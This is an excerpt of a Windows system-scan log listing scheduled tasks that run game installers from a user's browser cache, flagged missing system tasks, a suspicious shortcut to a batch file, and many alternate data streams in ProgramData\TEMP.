Task: {A384225E-A189-40CC-8103-75AF259B5BB7} - System32\Tasks\{4F852BE8-B3D8-4A8E-8EFE-FF97198E2898} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QBL85V8Q\3d-knifflis-the-whole-world-in-3d_s1_l1_gF6119T1L1_d1229429169[1].exe" -d C:\Users\Sasha22\Desktop
Task: {A5E3070A-8198-4D0F-8D5A-49C4219E4128} - System32\Tasks\{A5D3B8AA-5967-4B9D-BBF1-413805E952FC} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MLZIOLKY\lostcityofgold_s1_l1_gF645T1L1_d1225956599[1].exe" -d C:\Users\Sasha22\Desktop
Task: {A6039598-B58E-4C8B-B4BB-4D2E4279087C} - System32\Tasks\{38B72801-BAE5-45BB-AD6C-569A0DB75EE3} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\mystery-legends-phantom-opera-collectors_s1_l1_gF6020T1L1_d1076823525[1].exe" -d C:\Users\Sasha22\Desktop
Task: {A6E5FA93-59C6-4715-B4AD-7F2315E0B922} - System32\Tasks\{F33964B4-AE1C-40BF-9762-07C8AD57C1AD} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MLZIOLKY\zengems_s1_l1_gF2119T1L1_d1300176138[1].exe" -d C:\Users\Sasha22\Desktop
Task: {A71C47CD-BE10-42EB-A922-86C1D874D2BD} - System32\Tasks\{A0C4E03C-996F-4026-844D-09214A6BADD1} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\l-frank-baums-the-wonderful-wizard-of-oz_s1_l1_gF5863T1L1_d971222580[1].exe" -d C:\Users\Sasha22\Desktop
Task: {A7C15D97-3DAA-44D1-9F5B-24C830EA27F7} - System32\Tasks\{505B8568-8607-4C57-9193-DE5CB89BCF30} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\hidden-wonders-of-the-depths_s1_l1_gF2370T1L1_d1197032101[1].exe" -d C:\Users\Sasha22\Desktop
Task: {A81C7EE5-120D-4336-926A-0E6836C184B1} - System32\Tasks\{A23437CD-8004-4615-BF8E-15064F1D66E5} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\mystery-case-files-13th-skull_s1_l1_gF6098T1L1_d1166658692[1].exe" -d C:\Users\Sasha22\Desktop
Task: {AC4E5ACF-89F7-4220-BA21-81EE183975E2} - \Microsoft\Windows\Application Experience\AitAgent -> No File <==== ATTENTION
Task: {AC99FDCA-54FA-48D3-87C3-E352080DDFE2} - System32\Tasks\{30BD6986-970C-4E9D-B2DF-AD6161771D43} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\elixir-of-immortality_s1_l1_gF5880T1L1_d970007002[1].exe" -d C:\Users\Sasha22\Desktop
Task: {AEA538D8-9A7E-45C3-9435-34BC779DFF66} - System32\Tasks\{68E517BF-87D7-4C60-9D2B-72201F2190BE} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QBL85V8Q\the-revenge_s1_l1_gF6159T1L1_d1255514751[1].exe" -d C:\Users\Sasha22\Desktop
Task: {AFBA291C-8DCC-4BEA-B83C-81DE8EEE3756} - System32\Tasks\{370BCC94-1083-43AC-939F-EB2CD049AD1D} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6DQ8N9LP\clutter_s1_l1_gF6617T1L1_d1204520682[1].exe" -d C:\Users\Sasha22\Desktop
Task: {B0483047-6E16-4FEC-BA97-07397E787EA9} - System32\Tasks\{62CFEEC2-1646-4CE9-B14A-D459ED0F210E} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\bigfishgames_p91104059_s1_l1[1].exe" -d C:\Users\Sasha22\Desktop
Task: {B5BAA5C7-01DB-47BC-B7EF-892EDDBDAF3F} - System32\Tasks\{217C0CF0-AAB4-4000-BACC-3D2019AB3397} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\geisha-the-secret-garden_s1_l1_gF5420T1L1_d1196205946[1].exe" -d C:\Users\Sasha22\Desktop
Task: {BA390120-1FA9-49C7-9B2F-94DE2FC7E7C3} - System32\Tasks\{0C3FCDF3-9043-40C5-BE6A-E4934DDACAF1} => pcalua.exe -a "C:\Program Files (x86)\SelectRebates\SelectRebatesUninstall.exe"
Task: {BAC8E078-437C-4D41-85E4-3A9B3E66ED29} - System32\Tasks\{C20ADF45-9EE7-4B91-A684-707CE2E1640E} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\rhianna-ford-the-letter-from-da-vinci_s1_l1_gF5427T1L1_d1052471697[1].exe" -d C:\Users\Sasha22\Desktop
Task: {BD0BEA51-CA32-4B43-878E-1AAF95CA9754} - System32\Tasks\{65AAF1CC-73E1-4906-9C33-FDD824AE30D3} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\echoes-past-castle-shadows-collectors-edition_s1_l1_gF5851T1L1_d979340510[1].exe" -d C:\Users\Sasha22\Desktop
Task: {C00E99C2-5673-4434-80B4-B615FD058EE4} - System32\Tasks\{12087630-4197-4DC6-9752-BFE8E00D3ACF} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\jewel-keepers-easter-island_s1_l1_gF6133T1L1_d1196927329[1].exe" -d C:\Users\Sasha22\Desktop
Task: {C7A52F7B-9249-46C8-B5D9-2C274A7F8F3A} - System32\Tasks\{3812961F-6838-4F9A-ABA3-DF3EED3AC36B} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\city-sights-hello-seattle_s1_l1_gF5371T1L1_d1005176870[1].exe" -d C:\Users\Sasha22\Desktop
Task: {C91D1D8B-1797-4A57-B21B-08C195A87946} - System32\Tasks\{0321F0F9-C1CA-4579-B21C-6498D0487BE0} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\secrets-of-the-dragon-wheel_s1_l1_gF5852T1L1_d969994332[1].exe" -d C:\Users\Sasha22\Desktop
Task: {CA360917-9878-4392-A8BE-6283338738A7} - System32\Tasks\{BE4D783A-6932-43B2-9F35-6170D467F3EA} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\luxor-adventures_s1_l1_gF5290T1L1_d1103765755[1].exe" -d C:\Users\Sasha22\Desktop
Task: {CDF74250-C9CC-40C7-8FBC-7D833481C260} - System32\Tasks\{7A03D34D-E4F2-41E2-87B2-A1379A19DDD5} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\mystery-valley_s1_l1_gF6024T1L1_d1086643166[1].exe" -d C:\Users\Sasha22\Desktop
Task: {CEE64558-E1A7-4D9D-80A7-2001912BE5B5} - \Microsoft\Windows\MemoryDiagnostic\CorruptionDetector -> No File <==== ATTENTION
Task: {CF3682FE-B1AF-4E37-AB18-F73A1A9B4864} - System32\Tasks\{18249B0A-36C6-4774-A43B-416586B6C483} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\romancing-the-seven-wonders-great-pyramid_s1_l1_gF5827T1L1_d1052575859[1].exe" -d C:\Users\Sasha22\Desktop
Task: {D07D5257-F12F-4ADF-A332-DD9B75FDABD3} - System32\Tasks\{AEE30B7C-6C75-434A-BBC7-C901B16C2198} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\dying-of-daylight-survey_s1_l1_gF10332T1L1_d1166663576[1].exe" -d C:\Users\Sasha22\Desktop
Task: {D09908B1-7247-4ADB-AE26-8BDC54F5A598} - System32\Tasks\{574B1E5A-73D8-4AAE-88A5-230533370A8D} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\she-is-a-shadow_s1_l1_gF5133T1L1_d1053850717[1].exe" -d C:\Users\Sasha22\Desktop
Task: {D6E1D572-4F00-425D-885A-FB087B40CFD1} - System32\Tasks\{4257DFB4-27CE-492F-A052-5422E22C60F4} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\reincarnations-the-awakening_s1_l1_gF5249T1L1_d1045674771[1].exe" -d C:\Users\Sasha22\Desktop
Task: {D7564340-F8E3-4C3F-B212-71C7E55882AD} - System32\Tasks\{58E2BDE7-40D9-43EB-8DCC-C361FD1BEF6C} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\sprill_s1_l1_gF2037T1L1_d1132666966[1].exe" -d C:\Users\Sasha22\Desktop
Task: {D9E5E272-7BE7-4665-BE80-61DBBEA8C2E9} - System32\Tasks\{6BEF2BC8-1B5B-4770-9B23-0CBFB48669A7} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\steve-sheriff-case-missing-thing_s1_l1_gF5203T1L1_d1060114765[1].exe" -d C:\Users\Sasha22\Desktop
Task: {DFF4AAF7-5261-458B-A297-FA710F0E6F84} - System32\Tasks\{4147E0FF-D117-4AF2-9697-565B6F3386A4} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\fishdom-spooky-splash_s1_l1_gF5226T1L1_d1149651288[1].exe" -d C:\Users\Sasha22\Desktop
Task: {E04FF9A8-1E1B-42DC-A000-B29F5077AE52} - System32\Tasks\{A554BD35-C653-4D48-8985-C1B0DC49E3FA} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\mystery-pi-the-lottery-ticket_s1_l1_gF2102T1L1_d1110655801[1].exe" -d C:\Users\Sasha22\Desktop
Task: {E1953346-B149-4A3C-BA26-05F41B209BB9} - System32\Tasks\{D6C3DE38-7E7B-4AED-BF03-36D1A0A5F4CA} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OHU1RWXM\jewel-match-3_s1_l1_gF6168T1L1_d1213827770[1].exe" -d C:\Users\Sasha22\Desktop
Task: {E2036970-BD85-4D7C-ACD4-CA3A951436AB} - System32\Tasks\{137EDFEB-55B9-44BA-9979-65FF0CECF191} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\snarkbusters_s1_l1_gF5922T1L1_d1002679106[1].exe" -d C:\Users\Sasha22\Desktop
Task: {E2DF8F2B-55F1-4530-88B1-9D9D6C2B9AE4} - System32\Tasks\{63A1D487-6ABB-45BF-9BBC-D2FDDDDBDD1A} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\beachblox_s1_l1_gF5556T1L1_d1149647681[1].exe" -d C:\Users\Sasha22\Desktop
Task: {E382B11F-DF02-4CB9-BB77-15223F0165CB} - System32\Tasks\{6F35F4FF-1A59-440B-88BB-58F3C2B97EB6} => pcalua.exe -a C:\ProgramData\Uninstall\{B2E47DE7-800B-40BB-BD1F-9F221C3AEE87}\setup.exe -c /x {B2E47DE7-800B-40BB-BD1F-9F221C3AEE87} {lang}=ENU
Task: {E5F15729-3323-4E5F-A92F-0C40CF461CC1} - System32\Tasks\{D2F98736-26EC-4F1C-9677-1562C8123D03} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\sarah-maribu-and-the-lost-world_s1_l1_gF5456T1L1_d1052601768[1].exe" -d C:\Users\Sasha22\Desktop
Task: {E822702B-7AC8-4E45-8174-56677CFAA565} - System32\Tasks\{3021BDB8-D8ED-4349-A905-DE963047285B} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\glyph_s1_l1_gF1042T1L1_d1196976146[1].exe" -d C:\Users\Sasha22\Desktop
Task: {E96B2177-B3E8-460F-8BFD-1F2A55AEB156} - System32\Tasks\{B5F64CAF-3418-4462-9878-912052A5814F} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\bigfishgames_p79127638_s1_l1[1].exe" -d C:\Users\Sasha22\Desktop
Task: {EE1B55E5-17F0-43D8-B778-20076BF3E8AB} - System32\Tasks\{912E7109-4B23-4430-B059-225C0E1EFF27} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MLZIOLKY\glimmer_s1_l1_gF6125T1L1_d1237600145[1].exe" -d C:\Users\Sasha22\Desktop
Task: {EEB9D36B-6B4B-448F-A571-05D921DBE26F} - System32\Tasks\{BF7DC264-14C6-4E53-9FCA-9AA2F846AEFD} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QBL85V8Q\tale-of-the-lost-bride-and-a-hidden-treasure_s1_l1_gF6195T1L1_d1285139871[1].exe" -d C:\Users\Sasha22\Desktop
Task: {F1CDEC06-9B7E-4A2C-A943-841EEB964606} - System32\Tasks\{D0A8EA24-2805-42FA-9D06-6193C516A62D} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\bigfishgames_p77396478_s1_l1[1].exe" -d C:\Users\Sasha22\Desktop
Task: {F356D93B-A39F-482C-BC0C-BB5FA256729F} - System32\Tasks\{6B102156-590B-4164-895D-AFCB2AC530F7} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QBL85V8Q\season-match_s1_l1_gF2173T1L1_d1300177505[1].exe" -d C:\Users\Sasha22\Desktop
Task: {F39339D8-23CF-4EBF-A809-7C851E1277AD} - System32\Tasks\{9DEC58B6-200F-467B-A0A2-46E420A8D190} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\charm-tale-2-mermaid-lagoon_s1_l1_gF2779T1L1_d1191427740[1].exe" -d C:\Users\Sasha22\Desktop
Task: {F3C2B681-05A5-420D-997F-FFBD5142BD3A} - System32\Tasks\{EE865A41-963D-4075-A8A7-5B75421F4B39} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\mystic-diary-haunted-island_s1_l1_gF5925T1L1_d1004033468[1].exe" -d C:\Users\Sasha22\Desktop
Task: {F666B9F5-C6EC-482E-95C2-264D53017947} - \Microsoft\Windows\Windows Activation Technologies\ValidationTask -> No File <==== ATTENTION
Task: {FA2BC0A6-8D4B-458A-85C8-2B8C72487513} - \Microsoft\Windows\MemoryDiagnostic\DecompressionFailureDetector -> No File <==== ATTENTION
Task: {FA2BC1B7-1065-4D26-BEC5-033469250CB1} - System32\Tasks\{2433879B-3635-4071-9AEB-0BDB5B866353} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\real-crimes-jack-the-ripper_s1_l1_gF5337T1L1_d1037618088[1].exe" -d C:\Users\Sasha22\Desktop
Shortcut: C:\Users\Sasha22\AppData\Local\50a35bdd\6f371936.lnk -> C:\Users\Sasha22\AppData\Local\50a35bdd\3af3d2c5.bat ()
AlternateDataStreams: C:\ProgramData\TEMP:000D6A25 [132]
AlternateDataStreams: C:\ProgramData\TEMP:00258EE7 [244]
AlternateDataStreams: C:\ProgramData\TEMP:008586AE [131]
AlternateDataStreams: C:\ProgramData\TEMP:0119BEA0 [143]
AlternateDataStreams: C:\ProgramData\TEMP:018E744F [214]
AlternateDataStreams: C:\ProgramData\TEMP:021496FB [146]
AlternateDataStreams: C:\ProgramData\TEMP:025C72E5 [146]
AlternateDataStreams: C:\ProgramData\TEMP:02DD996C [182]
AlternateDataStreams: C:\ProgramData\TEMP:02F30776 [284]
AlternateDataStreams: C:\ProgramData\TEMP:036B81D9 [170]
AlternateDataStreams: C:\ProgramData\TEMP:038F4577 [129]
AlternateDataStreams: C:\ProgramData\TEMP:03A039A3 [238]
AlternateDataStreams: C:\ProgramData\TEMP:041C0562 [113]
AlternateDataStreams: C:\ProgramData\TEMP:041ED421 [278]
AlternateDataStreams: C:\ProgramData\TEMP:04B1A0AC [125]
AlternateDataStreams: C:\ProgramData\TEMP:0588E665 [268]
AlternateDataStreams: C:\ProgramData\TEMP:067F588D [250]
AlternateDataStreams: C:\ProgramData\TEMP:06B8FE62 [136]
AlternateDataStreams: C:\ProgramData\TEMP:070D9534 [242]
AlternateDataStreams: C:\ProgramData\TEMP:07241935 [204]
AlternateDataStreams: C:\ProgramData\TEMP:072CBE6D [238]
AlternateDataStreams: C:\ProgramData\TEMP:076D8ED2 [260]
AlternateDataStreams: C:\ProgramData\TEMP:07D64CD9 [260]
AlternateDataStreams: C:\ProgramData\TEMP:081C5B23 [204]
AlternateDataStreams: C:\ProgramData\TEMP:084612C9 [126]
AlternateDataStreams: C:\ProgramData\TEMP:086DE893 [115]
AlternateDataStreams: C:\ProgramData\TEMP:08B7D3D2 [306]
AlternateDataStreams: C:\ProgramData\TEMP:08D8BB20 [250]
AlternateDataStreams: C:\ProgramData\TEMP:08FAADE1 [106]
AlternateDataStreams: C:\ProgramData\TEMP:09064307 [205]
AlternateDataStreams: C:\ProgramData\TEMP:090FB735 [438]
AlternateDataStreams: C:\ProgramData\TEMP:0940DE92 [296]
AlternateDataStreams: C:\ProgramData\TEMP:09708CB7 [114]
AlternateDataStreams: C:\ProgramData\TEMP:0988A428 [252]
AlternateDataStreams: C:\ProgramData\TEMP:0A4803EE [242]
AlternateDataStreams: C:\ProgramData\TEMP:0A74923C [272]
AlternateDataStreams: C:\ProgramData\TEMP:0AC32449 [0]
AlternateDataStreams: C:\ProgramData\TEMP:0ADB5110 [252]
AlternateDataStreams: C:\ProgramData\TEMP:0ADCCF52 [127]
AlternateDataStreams: C:\ProgramData\TEMP:0AF3C3DF [254]
AlternateDataStreams: C:\ProgramData\TEMP:0B352B60 [300]
AlternateDataStreams: C:\ProgramData\TEMP:0BF391F5 [136]
AlternateDataStreams: C:\ProgramData\TEMP:0C13C008 [115]
AlternateDataStreams: C:\ProgramData\TEMP:0C5AF2AA [103]
AlternateDataStreams: C:\ProgramData\TEMP:0C65EA0E [123]
AlternateDataStreams: C:\ProgramData\TEMP:0C73962F [294]
AlternateDataStreams: C:\ProgramData\TEMP:0C9CD455 [232]
AlternateDataStreams: C:\ProgramData\TEMP:0D0F6CE7 [228]
AlternateDataStreams: C:\ProgramData\TEMP:0D278FB5 [122]
AlternateDataStreams: C:\ProgramData\TEMP:0D3CE40A [112]
AlternateDataStreams: C:\ProgramData\TEMP:0D962E75 [216]
AlternateDataStreams: C:\ProgramData\TEMP:0DACB2B7 [426]
AlternateDataStreams: C:\ProgramData\TEMP:0DAD93FF [132]
AlternateDataStreams: C:\ProgramData\TEMP:0DB857B9 [276]
AlternateDataStreams: C:\ProgramData\TEMP:0DE96CF5 [294]
AlternateDataStreams: C:\ProgramData\TEMP:0E22C5DB [480]
AlternateDataStreams: C:\ProgramData\TEMP:0E5A5AE9 [140]
AlternateDataStreams: C:\ProgramData\TEMP:0E636D62 [105]
AlternateDataStreams: C:\ProgramData\TEMP:0F38B460 [284]
AlternateDataStreams: C:\ProgramData\TEMP:0F38F234 [232]
AlternateDataStreams: C:\ProgramData\TEMP:0F3F6B1E [136]
AlternateDataStreams: C:\ProgramData\TEMP:0F4FC8CD [228]
AlternateDataStreams: C:\ProgramData\TEMP:0FA1EAA7 [226]
AlternateDataStreams: C:\ProgramData\TEMP:0FC68B9A [147]
AlternateDataStreams: C:\ProgramData\TEMP:10094A5D [136]
AlternateDataStreams: C:\ProgramData\TEMP:102394C6 [232]
AlternateDataStreams: C:\ProgramData\TEMP:104A718B [292]
AlternateDataStreams: C:\ProgramData\TEMP:108D3361 [244]
AlternateDataStreams: C:\ProgramData\TEMP:1095ECE1 [274]
AlternateDataStreams: C:\ProgramData\TEMP:10E0CEB1 [208]
AlternateDataStreams: C:\ProgramData\TEMP:10E0E83D [131]
AlternateDataStreams: C:\ProgramData\TEMP:1170D6E4 [252]
AlternateDataStreams: C:\ProgramData\TEMP:117CB2DF [118]
AlternateDataStreams: C:\ProgramData\TEMP:1181620C [268]
AlternateDataStreams: C:\ProgramData\TEMP:124B94C0 [260]
AlternateDataStreams: C:\ProgramData\TEMP:12BB1476 [134]
AlternateDataStreams: C:\ProgramData\TEMP:12D9D48F [294]
AlternateDataStreams: C:\ProgramData\TEMP:132714FA [122]
AlternateDataStreams: C:\ProgramData\TEMP:1349D788 [166]
AlternateDataStreams: C:\ProgramData\TEMP:13AA281B [242]
AlternateDataStreams: C:\ProgramData\TEMP:140AD176 [284]
AlternateDataStreams: C:\ProgramData\TEMP:1451DA58 [236]
AlternateDataStreams: C:\ProgramData\TEMP:147A3409 [286]
AlternateDataStreams: C:\ProgramData\TEMP:14A1BBE3 [288]
AlternateDataStreams: C:\ProgramData\TEMP:14D29229 [248]
AlternateDataStreams: C:\ProgramData\TEMP:15442FF2 [134]
AlternateDataStreams: C:\ProgramData\TEMP:1573D043 [145]
AlternateDataStreams: C:\ProgramData\TEMP:160ADF0B [280]
AlternateDataStreams: C:\ProgramData\TEMP:164561C8 [288]
AlternateDataStreams: C:\ProgramData\TEMP:165AF2C6 [139]
AlternateDataStreams: C:\ProgramData\TEMP:16A4620C [222]
AlternateDataStreams: C:\ProgramData\TEMP:16BD7665 [138]
AlternateDataStreams: C:\ProgramData\TEMP:1709732A [246]
AlternateDataStreams: C:\ProgramData\TEMP:175721D5 [138]
AlternateDataStreams: C:\ProgramData\TEMP:17C48B08 [103]
AlternateDataStreams: C:\ProgramData\TEMP:17D88661 [202]
AlternateDataStreams: C:\ProgramData\TEMP:17EB5BAE [138]
AlternateDataStreams: C:\ProgramData\TEMP:1802D824 [149]
AlternateDataStreams: C:\ProgramData\TEMP:1899E1F5 [127]
AlternateDataStreams: C:\ProgramData\TEMP:18A25CF1 [272]
AlternateDataStreams: C:\ProgramData\TEMP:18A6D2CC [128]
AlternateDataStreams: C:\ProgramData\TEMP:18B5F839 [138]
AlternateDataStreams: C:\ProgramData\TEMP:18DEBC51 [272]
AlternateDataStreams: C:\ProgramData\TEMP:193CB03B [268]
AlternateDataStreams: C:\ProgramData\TEMP:19474103 [286]
AlternateDataStreams: C:\ProgramData\TEMP:19636FDD [262]
AlternateDataStreams: C:\ProgramData\TEMP:197335E4 [102]
AlternateDataStreams: C:\ProgramData\TEMP:1A0593EF [139]
AlternateDataStreams: C:\ProgramData\TEMP:1A5207FA [109]
AlternateDataStreams: C:\ProgramData\TEMP:1A5822A3 [127]
AlternateDataStreams: C:\ProgramData\TEMP:1A7E6B73 [102]
AlternateDataStreams: C:\ProgramData\TEMP:1A7FFE9C [106]
AlternateDataStreams: C:\ProgramData\TEMP:1A8BB29B [202]
AlternateDataStreams: C:\ProgramData\TEMP:1A8FDBA3 [286]
AlternateDataStreams: C:\ProgramData\TEMP:1AC933DC [141]
AlternateDataStreams: C:\ProgramData\TEMP:1B389835 [136]
AlternateDataStreams: C:\ProgramData\TEMP:1B5B615D [282]
AlternateDataStreams: C:\ProgramData\TEMP:1B7E2022 [216]
AlternateDataStreams: C:\ProgramData\TEMP:1B8A258D [250]
AlternateDataStreams: C:\ProgramData\TEMP:1C5E8189 [145]
AlternateDataStreams: C:\ProgramData\TEMP:1C6CB897 [195]
AlternateDataStreams: C:\ProgramData\TEMP:1CB96B16 [426]
AlternateDataStreams: C:\ProgramData\TEMP:1CDEDE11 [117]
AlternateDataStreams: C:\ProgramData\TEMP:1CE87230 [232]
AlternateDataStreams: C:\ProgramData\TEMP:1D6B18F1 [113]
AlternateDataStreams: C:\ProgramData\TEMP:1D8551A3 [130]
AlternateDataStreams: C:\ProgramData\TEMP:1E17A249 [286]
AlternateDataStreams: C:\ProgramData\TEMP:1E2D49E0 [141]
AlternateDataStreams: C:\ProgramData\TEMP:1E7308B6 [260]
AlternateDataStreams: C:\ProgramData\TEMP:1EEB23AD [119]
AlternateDataStreams: C:\ProgramData\TEMP:1F4329D4 [123]
AlternateDataStreams: C:\ProgramData\TEMP:1F7A10DD [126]
AlternateDataStreams: C:\ProgramData\TEMP:2077FAC7 [148]
AlternateDataStreams: C:\ProgramData\TEMP:207C4C79 [270]
AlternateDataStreams: C:\ProgramData\TEMP:20EB6823 [120]
AlternateDataStreams: C:\ProgramData\TEMP:212EB9FF [134]
AlternateDataStreams: C:\ProgramData\TEMP:213AFE42 [216]
AlternateDataStreams: C:\ProgramData\TEMP:217A2324 [134]
AlternateDataStreams: C:\ProgramData\TEMP:21BB9E99 [252]
AlternateDataStreams: C:\ProgramData\TEMP:21D64A91 [378]
AlternateDataStreams: C:\ProgramData\TEMP:220C42CA [136]
AlternateDataStreams: C:\ProgramData\TEMP:2212C7B8 [125]
AlternateDataStreams: C:\ProgramData\TEMP:221F35CC [113]
AlternateDataStreams: C:\ProgramData\TEMP:22313216 [211]
AlternateDataStreams: C:\ProgramData\TEMP:224B562C [112]
AlternateDataStreams: C:\ProgramData\TEMP:225CD7D5 [428]
AlternateDataStreams: C:\ProgramData\TEMP:22B52633 [228]
AlternateDataStreams: C:\ProgramData\TEMP:2342AE46 [116]
AlternateDataStreams: C:\ProgramData\TEMP:23ADF89D [226]
AlternateDataStreams: C:\ProgramData\TEMP:2487D1DA [137]
AlternateDataStreams: C:\ProgramData\TEMP:249F95D0 [148]
AlternateDataStreams: C:\ProgramData\TEMP:24E2101A [94]
AlternateDataStreams: C:\ProgramData\TEMP:25249477 [464]
AlternateDataStreams: C:\ProgramData\TEMP:2530BFBE [282]
AlternateDataStreams: C:\ProgramData\TEMP:25D6137A [250]
AlternateDataStreams: C:\ProgramData\TEMP:25F31665 [143]
AlternateDataStreams: C:\ProgramData\TEMP:260575F1 [196]
AlternateDataStreams: C:\ProgramData\TEMP:2636DE16 [127]
AlternateDataStreams: C:\ProgramData\TEMP:2652902F [242]
AlternateDataStreams: C:\ProgramData\TEMP:268A5068 [125]
AlternateDataStreams: C:\ProgramData\TEMP:268BA8AB [442]
AlternateDataStreams: C:\ProgramData\TEMP:26A148EB [123]
AlternateDataStreams: C:\ProgramData\TEMP:26E2A0C3 [300]
AlternateDataStreams: C:\ProgramData\TEMP:26FBC1F9 [123]
AlternateDataStreams: C:\ProgramData\TEMP:271E16B0 [286]
AlternateDataStreams: C:\ProgramData\TEMP:2727F067 [286]
AlternateDataStreams: C:\ProgramData\TEMP:275AA066 [121]
AlternateDataStreams: C:\ProgramData\TEMP:2773164E [129]
AlternateDataStreams: C:\ProgramData\TEMP:2775F9E2 [282]
AlternateDataStreams: C:\ProgramData\TEMP:282EC894 [232]
AlternateDataStreams: C:\ProgramData\TEMP:28476D43 [214]
AlternateDataStreams: C:\ProgramData\TEMP:28D92DA8 [290]
AlternateDataStreams: C:\ProgramData\TEMP:28DB0DC4 [208]
AlternateDataStreams: C:\ProgramData\TEMP:292C3D49 [292]
AlternateDataStreams: C:\ProgramData\TEMP:29629382 [140]
AlternateDataStreams: C:\ProgramData\TEMP:2979C892 [118]
AlternateDataStreams: C:\ProgramData\TEMP:29861223 [116]
AlternateDataStreams: C:\ProgramData\TEMP:29F0CA7D [141]
AlternateDataStreams: C:\ProgramData\TEMP:2A66F1C3 [186]
AlternateDataStreams: C:\ProgramData\TEMP:2A6DC3A2 [146]
AlternateDataStreams: C:\ProgramData\TEMP:2A874675 [130]
AlternateDataStreams: C:\ProgramData\TEMP:2ABB51D4 [276]
AlternateDataStreams: C:\ProgramData\TEMP:2AD33723 [272]
AlternateDataStreams: C:\ProgramData\TEMP:2AE74FF9 [260]
AlternateDataStreams: C:\ProgramData\TEMP:2AF04C69 [286]
AlternateDataStreams: C:\ProgramData\TEMP:2B1EA607 [119]
AlternateDataStreams: C:\ProgramData\TEMP:2B37CCB6 [280]
AlternateDataStreams: C:\ProgramData\TEMP:2B40A7DB [131]
AlternateDataStreams: C:\ProgramData\TEMP:2B856118 [268]
AlternateDataStreams: C:\ProgramData\TEMP:2BFCDF84 [127]
AlternateDataStreams: C:\ProgramData\TEMP:2C250258 [266]
AlternateDataStreams: C:\ProgramData\TEMP:2C678471 [119]
AlternateDataStreams: C:\ProgramData\TEMP:2C86E2AD [230]
AlternateDataStreams: C:\ProgramData\TEMP:2C8C1CCD [149]
AlternateDataStreams: C:\ProgramData\TEMP:2CB9631F [134]
